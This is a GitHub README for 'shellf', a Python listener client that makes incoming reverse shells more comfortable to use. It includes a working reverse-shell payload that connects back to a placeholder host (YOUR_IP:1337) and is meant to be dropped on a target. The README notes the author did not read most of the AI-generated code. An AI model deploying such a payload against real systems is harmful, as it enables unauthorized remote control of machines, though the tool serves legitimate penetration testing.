Skip to content

Latest commit

 

History

33 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

shellf

Interactive reverse-shell client (listener side). You run it locally on a TCP port; a remote reverse shell connects back; shellf gives you a fast, comfortable terminal: local line editing (typing costs zero network round trips), live streaming output, prompt tracking, history, Tab completion and a raw passthrough mode for full-screen programs.

remote reverse shell  ---TCP--->  shellf (listener)  ---terminal--->  you

Python 3.10+, stdlib only. No dependencies to install.

The remote contract

shellf is built around a specific (and very common) remote-shell shape:

  • the remote runs an interactive pty shell with echo disabled (stty -echo), so it never echoes what you type — shellf echoes locally;
  • the pty stays canonical (icanon) with ISIG on, so it reads whole lines and ^C/^Z sent as bytes trigger real signals;
  • prompts are printed as output and do not end with a newline.

A minimal remote payload that satisfies this (drop this on the target):

import socket, os, pty
s = socket.socket()
s.connect(("YOUR_IP", 1337))                 # your listener
for fd in (0, 1, 2):
    os.dup2(s.fileno(), fd)
pty.spawn(["/bin/sh", "-c",
           "stty -echo; export PS1='\\u@\\h:\\w\\$ '; "
           "exec /bin/bash --noediting --noprofile --norc -i"])

On connect, shellf runs a one-shot compliance probe (stty -a; command -v bash; echo @@PROBE_DONE@@) and reports what the remote looks like:

[compat] echo:off icanon:on isig:on bash:/usr/bin/bash

Drifted remotes get individual warnings (echo on → output doubles, ISIG off → ^C won't interrupt, bash missing → Tab disabled). An unverifiable remote keeps the client functional except Tab.

Usage

python3 -m shellf [-l LISTEN_ADDR] [-p PORT] [--skip-compat]

Defaults: listen on 0.0.0.0:1337. --skip-compat skips the probe.

Or install it: pip install . then just run shellf.

Key bindings

Key Action
Type Local echo — zero network round trips per keystroke
Backspace Erase locally, redraw
Left/Right Move cursor
Up/Down Walk local command history
Home/End Jump to line start/end
Delete Delete forward
Enter Send the line + \n, keep it visible, move to a fresh line
^C Discard the partial line, send \x03 only (interrupts remotely)
^Z Send \x1a (suspend)
^D Send EOF only when the buffer is empty (hang up the shell)
^L Clear the local screen and redraw
Tab Compgen completion: files, commands, env vars, dirs
^X Raw passthrough toggle (for vim/top/...), see below

Tab completion

One synthesized bash -c '...compgen...' request per Tab (1 s cap). A single candidate completes in place (directories get a trailing /); several extend to their common prefix, and a second Tab on the unchanged token lists the candidates under the line. Requires bash on the remote (checked by the probe).

Raw passthrough (Ctrl-X)

Toggles between the line editor and a plain raw pipe (sends stty echo / stty -echo around it). Use it to run full-screen remote programs. To leave it, quit the program back to a shell prompt and press Ctrl-X again — note that while passthrough is on, Ctrl-X is captured locally.

Display model

The remote echoes nothing, so shellf mirrors the remote screen itself: it tracks the prompt tail (remote text since the last newline) and keeps the invariant current line = prompt tail + your partial input. Output arriving while you are typing clears the line, prints the output, and redraws your line below it. After Enter the typed command stays visible and the cursor moves to a fresh line, so output lands underneath instead of doubling the prompt.

Layout

shellf/__init__.py     package API (import shellf has no side effects)
shellf/terminal.py     raw-mode context manager
shellf/keys.py         escape-sequence reader + control-key policy
shellf/editor.py       LineEditor logic + render helpers
shellf/display.py      prompt-tail tracking / output policy
shellf/probe.py        compliance-probe parser
shellf/completion.py   compgen request builder / parser / plan
shellf/session.py      Session (the select loop)
shellf/cli.py          CLI listener
tests/                 unittest suite (stdlib unittest, loopback/socketpair only)

Run the tests:

python3 -m unittest discover -s tests -v

Roadmap

  • General shell stabilizer: probe v2 (detect pty vs pipe remotes), auto stty -echo, automatic pty upgrade for non-pty shells, selectable modes.

Known limitations

  • Line-wrap redraw is cosmetic/simple; wide (CJK) characters and coloured prompts are approximated for cursor-column maths.
  • Completion is compgen-level — no per-command options, not context aware.
  • After leaving raw passthrough, press Enter at the shell prompt to resync.
  • Authorized use only: this tool is for systems you own or are permitted to test.

About

Unstable reverse shells are fast, but they suck; stable reverse shells are great, but slow. This is not as great as a full fledged stable shell, but gets like 90% of the way there while being much, much faster. WARNING: this repo was an experiment in vibecoding with pi agent + deepseek v4 and cost around 1 dollar. I did not read most of the code

Resources

Stars

0 stars

Watchers

0 watching

Forks

Packages

Contributors

Languages